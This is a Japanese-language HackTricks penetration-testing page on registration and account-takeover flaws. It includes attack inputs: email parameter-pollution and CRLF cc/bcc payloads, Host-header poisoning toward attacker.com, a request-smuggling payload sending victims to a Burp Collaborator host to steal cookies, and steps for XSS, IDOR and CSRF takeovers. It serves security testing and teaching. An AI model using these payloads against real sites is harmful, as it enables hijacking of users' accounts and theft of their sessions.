hacktricks/src/pentesting-web/registration-vulnerabilities.md

179 lines
8.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 登録および乗っ取りの脆弱性
{{#include ../banners/hacktricks-training.md}}
## 登録乗っ取り
### 重複登録
- 既存のユーザー名を使用して生成を試みる
- メールアドレスを変えて確認する:
- 大文字
- \+1@
- メールにドットを追加する
- メール名に特殊文字 (%00, %09, %20)
- メールの後に黒い文字を入れる: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### ユーザー名列挙
アプリケーション内でユーザー名がすでに登録されているかどうかを確認する。
### パスワードポリシー
ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードを使用できるか確認する)。\
その場合、資格情報をブルートフォース攻撃することを試みるかもしれない。
### SQLインジェクション
[**このページを確認**](sql-injection/index.html#insert-statement)して、アカウントの乗っ取りを試みたり、**SQLインジェクション**を通じて情報を抽出する方法を学ぶ。
### Oauth乗っ取り
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
### SAML脆弱性
{{#ref}}
saml-attacks/
{{#endref}}
### メール変更
登録後、メールを変更して、この変更が正しく検証されるか、任意のメールに変更できるか確認する。
### その他のチェック
- **使い捨てメール**が使用できるか確認する
- **長い** **パスワード** (>200) は **DoS** を引き起こす
- **アカウント作成のレート制限を確認する**
- username@**burp_collab**.netを使用し、**コールバック**を分析する
## **パスワードリセット乗っ取り**
### リファラー経由のパスワードリセットトークン漏洩 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. 自分のメールアドレスにパスワードリセットをリクエストする
2. パスワードリセットリンクをクリックする
3. パスワードを変更しない
4. 3rdパーティのウェブサイトをクリックする例: Facebook, Twitter
5. Burp Suiteプロキシでリクエストを傍受する
6. refererヘッダーがパスワードリセットトークンを漏洩しているか確認する。
### パスワードリセットポイズニング <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Burp Suiteでパスワードリセットリクエストを傍受する
2. Burp Suiteで次のヘッダーを追加または編集する: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 修正されたヘッダーでリクエストを転送する\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _hostヘッダー_に基づいてパスワードリセットURLを探す: `https://attacker.com/reset-password.php?token=TOKEN`
### メールパラメータ経由のパスワードリセット <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. 攻撃者は自分のアカウントでログインし、**パスワード変更**機能に移動する必要があります。
2. Burp Suiteを起動し、リクエストをインターセプトします。
3. リピータタブに送信し、パラメータを編集しますユーザーID/メール\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。\
トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムによって使用される可能性があります。
- タイムスタンプ
- ユーザーID
- ユーザーのメール
- 名と姓
- 生年月日
- 暗号化
- 数字のみ
- 小さなトークンシーケンス(文字は\[A-Z,a-z,0-9]の間)
- トークンの再利用
- トークンの有効期限
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. 特定のメールtest@mail.comを使用してAPI/UIからパスワードリセットリクエストをトリガーします。
2. サーバーの応答を検査し、`resetToken`を確認します。
3. 次に、トークンをURLに使用します`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. 被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:`"admin "`
2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
3. あなたのメールに送信されたトークンを使用して、被害者のパスワードをリセットします。
4. 新しいパスワードで被害者のアカウントに接続します。
プラットフォームCTFdはこの攻撃に対して脆弱でした。\
参照:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. アプリケーション内またはサブドメイン内でXSSを見つけます。クッキーが親ドメインにスコープされている場合`*.domain.com`
2. 現在の**セッションクッキー**を漏洩させます。
3. クッキーを使用してユーザーとして認証します。
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. **smuggler**を使用してHTTPリクエストスムーグリングのタイプCL、TE、CL.TEを検出します。\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. 次のデータで`POST / HTTP/1.1`を上書きするリクエストを作成します:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。\
3\. 最終リクエストは次のようになる可能性があります。
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackeroneはこのバグを悪用した報告をしています\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### CSRFによるアカウント乗っ取り <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. CSRF用のペイロードを作成します。例: “パスワード変更のための自動送信HTMLフォーム”
2. ペイロードを送信します
### JWTによるアカウント乗っ取り <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Tokenはユーザーを認証するために使用されることがあります。
- 別のユーザーID / メールでJWTを編集します
- 弱いJWT署名を確認します
{{#ref}}
hacking-jwt-json-web-tokens.md
{{#endref}}
## 参考文献
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}